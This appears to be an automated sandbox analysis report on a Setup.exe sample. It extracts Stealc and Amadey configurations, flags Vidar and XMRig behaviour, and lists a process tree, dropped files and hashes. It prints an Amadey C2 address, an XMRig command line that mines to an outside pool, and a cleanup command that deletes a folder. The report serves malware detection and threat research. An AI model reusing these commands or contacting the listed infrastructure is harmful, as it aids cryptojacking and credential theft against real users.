Analysis

  • max time kernel
    149s
  • max time network
    152s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240611-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240611-enlocale:en-usos:windows10-2004-x64system
  • submitted
    20/06/2024, 01:32

General

  • Target
    files/Setup.exe
  • Size 202KB
  • Sample240620-byeeks1enh
  • SHA256 c26db97858c427d92e393396f7cb7f9e7ed8f9ce616adcc123d0ec6b055b99c9
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • stealc

rc4.plain

Extracted

Family
  • amadey

Version
  • 4.30

Botnet
  • ffb1b9

C2
  • http://proresupdate.com

Attributes
  • install_dir

    4bbb72a446

  • install_file

    Hkbsse.exe

  • strings_key

    1ebbd218121948a356341fff55521237

  • url_paths

    /h9fmdW5/index.php

rc4.plain

Signatures

  • Amadey

    Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.

  • Detect Vidar Stealer 8 IoCs
  • Stealc

    Stealc is an infostealer written in C++.

  • Vidar

    Vidar is an infostealer based on Arkei stealer.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Detect binaries embedding considerable number of MFA browser extension IDs. 6 IoCs
  • Detect binaries embedding considerable number of cryptocurrency wallet browser extension IDs. 6 IoCs
  • Detects Windows executables referencing non-Windows User-Agents 8 IoCs
  • Detects binaries (Windows and macOS) referencing many web browsers. Observed in information stealers. 6 IoCs
  • Detects binaries and memory artifacts referencing sandbox DLLs typically observed in sandbox evasion 8 IoCs
  • Detects executables containing potential Windows Defender anti-emulation checks 8 IoCs
  • Detects executables manipulated with Fody 1 IoCs
  • UPX dump on OEP (original entry point) 4 IoCs
  • XMRig Miner payload 2 IoCs
  • Reads data files stored by FTP clients 2 TTPs

    Tries to access configuration files associated with programs like FileZilla.

  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • UPX packed file 4 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Downloads MZ/PE file
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Suspicious use of SetThreadContext 5 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Drops file in Windows directory 2 IoCs
  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 3 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Checks processor information in registry 2 TTPs 1 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 1 IoCs
  • Modifies Internet Explorer settings 1 TTPs 2 IoCs
  • Modifies system certificate store 2 TTPs 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 17 IoCs
  • Suspicious behavior: MapViewOfSection 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 5 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 44 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\files\Setup.exe
    "C:\Users\Admin\AppData\Local\Temp\files\Setup.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • Modifies Internet Explorer settings
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious behavior: MapViewOfSection
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2160
    • C:\Windows\SysWOW64\more.com
      C:\Windows\SysWOW64\more.com
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: MapViewOfSection
      • Suspicious use of WriteProcessMemory
      PID:3700
      • C:\Users\Admin\AppData\Local\Temp\CUF.au3
        C:\Users\Admin\AppData\Local\Temp\CUF.au3
        3⤵
        • Checks computer location settings
        • Loads dropped DLL
        • Checks processor information in registry
        • Modifies system certificate store
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of WriteProcessMemory
        PID:4516
        • C:\ProgramData\DBGHJEBKJE.exe
          "C:\ProgramData\DBGHJEBKJE.exe"
          4⤵
          • Suspicious use of SetThreadContext
          • Executes dropped EXE
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious behavior: MapViewOfSection
          • Suspicious use of WriteProcessMemory
          PID:3780
          • C:\Windows\SysWOW64\ftp.exe
            C:\Windows\SysWOW64\ftp.exe
            5⤵
            • Drops file in Windows directory
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious behavior: MapViewOfSection
            • Suspicious use of WriteProcessMemory
            PID:1852
            • C:\Windows\SysWOW64\explorer.exe
              C:\Windows\SysWOW64\explorer.exe
              6⤵
                PID:3108
          • C:\ProgramData\DBKEHDGDGH.exe
            "C:\ProgramData\DBKEHDGDGH.exe"
            4⤵
            • Suspicious use of SetThreadContext
            • Executes dropped EXE
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious behavior: MapViewOfSection
            • Suspicious use of WriteProcessMemory
            PID:2488
            • C:\Windows\SysWOW64\ftp.exe
              C:\Windows\SysWOW64\ftp.exe
              5⤵
              • Suspicious use of SetThreadContext
              • Drops file in Windows directory
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious behavior: MapViewOfSection
              • Suspicious use of WriteProcessMemory
              PID:1124
              • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe
                C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe
                6⤵
                • Suspicious use of SetThreadContext
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                • Suspicious use of WriteProcessMemory
                PID:1080
                • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
                  C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe -a rx/0 --url=65.109.127.181:3333 -u PLAYA -p PLAYA -R --variant=-1 --max-cpu-usage=70 --donate-level=1 -opencl
                  7⤵
                  • Suspicious use of AdjustPrivilegeToken
                  • Suspicious use of FindShellTrayWindow
                  PID:4084
          • C:\Windows\SysWOW64\cmd.exe
            "C:\Windows\System32\cmd.exe" /c timeout /t 10 & rd /s /q "C:\ProgramData\BGDAAEHDHIIJ" & exit
            4⤵
            • Suspicious use of WriteProcessMemory
            PID:4844
            • C:\Windows\SysWOW64\timeout.exe
              timeout /t 10
              5⤵
              • Delays execution with timeout.exe
              PID:4464

    Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

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          Downloads

          VCRUNT~1.DLL

          • Path C:\ProgramData\BGDAAEHDHIIJ\VCRUNT~1.DLL
          • Size 78KB
          • SHA256 8934aaeb65b6e6d253dfe72dea5d65856bd871e989d5d3a2a35edfe867bb4825
          • MD5 SHA1 SHA512 SSDEEP

          mozglue.dll

          • Path C:\ProgramData\BGDAAEHDHIIJ\mozglue.dll
          • Size 593KB
          • SHA256 ba06a6ee0b15f5be5c4e67782eec8b521e36c107a329093ec400fe0404eb196a
          • MD5 SHA1 SHA512 SSDEEP

          msvcp140.dll

          • Path C:\ProgramData\BGDAAEHDHIIJ\msvcp140.dll
          • Size 439KB
          • SHA256 5136a49a682ac8d7f1ce71b211de8688fce42ed57210af087a8e2dbc8a934062
          • MD5 SHA1 SHA512 SSDEEP

          nss3.dll

          • Path C:\ProgramData\BGDAAEHDHIIJ\nss3.dll
          • Size 2.0MB
          • SHA256 ac5c92fe6c51cfa742e475215b83b3e11a4379820043263bf50d4068686c6fa5
          • MD5 SHA1 SHA512 SSDEEP

          softokn3.dll

          • Path C:\ProgramData\BGDAAEHDHIIJ\softokn3.dll
          • Size 251KB
          • SHA256 74ebbac956e519e16923abdc5ab8912098a4f64e38ddcb2eae23969f306afe5a
          • MD5 SHA1 SHA512 SSDEEP

          DBGHJEBKJE.exe

          • Path C:\ProgramData\DBGHJEBKJE.exe
          • Size 8.6MB
          • SHA256 376e1802b979514ba0e9c73933a8c6a09dd3f1d2a289f420c2202e64503d08a7
          • MD5 SHA1 SHA512 SSDEEP

          DBKEHDGDGH.exe

          • Path C:\ProgramData\DBKEHDGDGH.exe
          • Size 2.3MB
          • SHA256 5706c6f5421a6a34fdcb67e9c9e71283c8fc1c33499904519cbdc6a21e6b071c
          • MD5 SHA1 SHA512 SSDEEP

          9e3a3507

          • Path C:\Users\Admin\AppData\Local\Temp\9e3a3507
          • Size 6.8MB
          • SHA256 de2690431d7a8982839e0c40cc4051d49378e6f750269d5dfb397a5345193b47
          • MD5 SHA1 SHA512 SSDEEP

          CUF.au3

          • Path C:\Users\Admin\AppData\Local\Temp\CUF.au3
          • Size 872KB
          • SHA256 237d1bca6e056df5bb16a1216a434634109478f882d3b1d58344c801d184f95d
          • MD5 SHA1 SHA512 SSDEEP

          e66f7ae9

          • Path C:\Users\Admin\AppData\Local\Temp\e66f7ae9
          • Size 1.1MB
          • SHA256 e2aaaa1a0431aab1616e2b612e9b68448107e6ce71333f9c0ec1763023b72b2a
          • MD5 SHA1 SHA512 SSDEEP

          e8881e54

          • Path C:\Users\Admin\AppData\Local\Temp\e8881e54
          • Size 1.1MB
          • SHA256 b51b908b2677937966747d7d9918ad7cdf605413ee05d851f79ab8b0709e71ed
          • MD5 SHA1 SHA512 SSDEEP

          eee3e429

          • Path C:\Users\Admin\AppData\Local\Temp\eee3e429
          • Size 951KB
          • SHA256 d8617477c800cc10f9b52e90b885117a27266831fb5033647b6b6bd6025380a8
          • MD5 SHA1 SHA512 SSDEEP

          f1c8f740

          • Path C:\Users\Admin\AppData\Local\Temp\f1c8f740
          • Size 736KB
          • SHA256 0b48969ba80a746ec2bc16acc34df69129f6a45ccd2615dc51853406fc7d6303
          • MD5 SHA1 SHA512 SSDEEP

          memory/1080-207-0x00007FFC99D30000-0x00007FFC9B3A7000-memory.dmp

          memory/1080-211-0x0000000000400000-0x000000000040A000-memory.dmp

          memory/1124-187-0x00007FFCBAC30000-0x00007FFCBAE25000-memory.dmp

          memory/1852-188-0x00000000727F0000-0x000000007296B000-memory.dmp

          memory/1852-177-0x00007FFCBAC30000-0x00007FFCBAE25000-memory.dmp

          memory/1852-203-0x00000000727F0000-0x000000007296B000-memory.dmp

          memory/2160-1-0x00007FFCBAC30000-0x00007FFCBAE25000-memory.dmp

          memory/2160-11-0x0000000073A70000-0x0000000073BEB000-memory.dmp

          memory/2160-10-0x0000000073A82000-0x0000000073A84000-memory.dmp

          memory/2160-12-0x0000000073A70000-0x0000000073BEB000-memory.dmp

          memory/2160-0-0x0000000073A70000-0x0000000073BEB000-memory.dmp

          memory/2488-148-0x00000000008B0000-0x0000000000AF8000-memory.dmp

          memory/2488-168-0x00000000727F0000-0x000000007296B000-memory.dmp

          memory/2488-154-0x00000000727F0000-0x000000007296B000-memory.dmp

          memory/2488-155-0x00007FFCBAC30000-0x00007FFCBAE25000-memory.dmp

          memory/3108-212-0x0000000000300000-0x0000000000371000-memory.dmp

          memory/3108-210-0x00007FFCBAC30000-0x00007FFCBAE25000-memory.dmp

          memory/3700-16-0x00007FFCBAC30000-0x00007FFCBAE25000-memory.dmp

          memory/3700-24-0x0000000073A70000-0x0000000073BEB000-memory.dmp

          memory/3700-14-0x0000000073A70000-0x0000000073BEB000-memory.dmp

          memory/3700-20-0x0000000073A70000-0x0000000073BEB000-memory.dmp

          memory/3700-18-0x0000000073A70000-0x0000000073BEB000-memory.dmp

          memory/3780-137-0x00007FFCBAC30000-0x00007FFCBAE25000-memory.dmp

          memory/3780-136-0x00000000727F0000-0x000000007296B000-memory.dmp

          memory/3780-165-0x00000000727F0000-0x000000007296B000-memory.dmp

          memory/3780-130-0x00000000008F0000-0x0000000000E03000-memory.dmp

          memory/4084-216-0x0000000140000000-0x00000001407DC000-memory.dmp

          memory/4084-221-0x0000000140000000-0x00000001407DC000-memory.dmp

          memory/4084-218-0x0000000140000000-0x00000001407DC000-memory.dmp

          memory/4084-219-0x0000000140000000-0x00000001407DC000-memory.dmp

          memory/4084-220-0x0000022EC0090000-0x0000022EC00B0000-memory.dmp

          memory/4516-26-0x0000000001200000-0x000000000194B000-memory.dmp

          memory/4516-116-0x0000000001200000-0x000000000194B000-memory.dmp

          memory/4516-164-0x0000000001200000-0x000000000194B000-memory.dmp

          memory/4516-41-0x0000000061E00000-0x0000000061EF3000-memory.dmp

          memory/4516-60-0x0000000001200000-0x000000000194B000-memory.dmp

          memory/4516-38-0x0000000001200000-0x000000000194B000-memory.dmp

          memory/4516-28-0x00007FFCBAC30000-0x00007FFCBAE25000-memory.dmp

          memory/4516-163-0x0000000001200000-0x000000000194B000-memory.dmp

          memory/4516-186-0x0000000001200000-0x000000000194B000-memory.dmp

          memory/4516-183-0x0000000001200000-0x000000000194B000-memory.dmp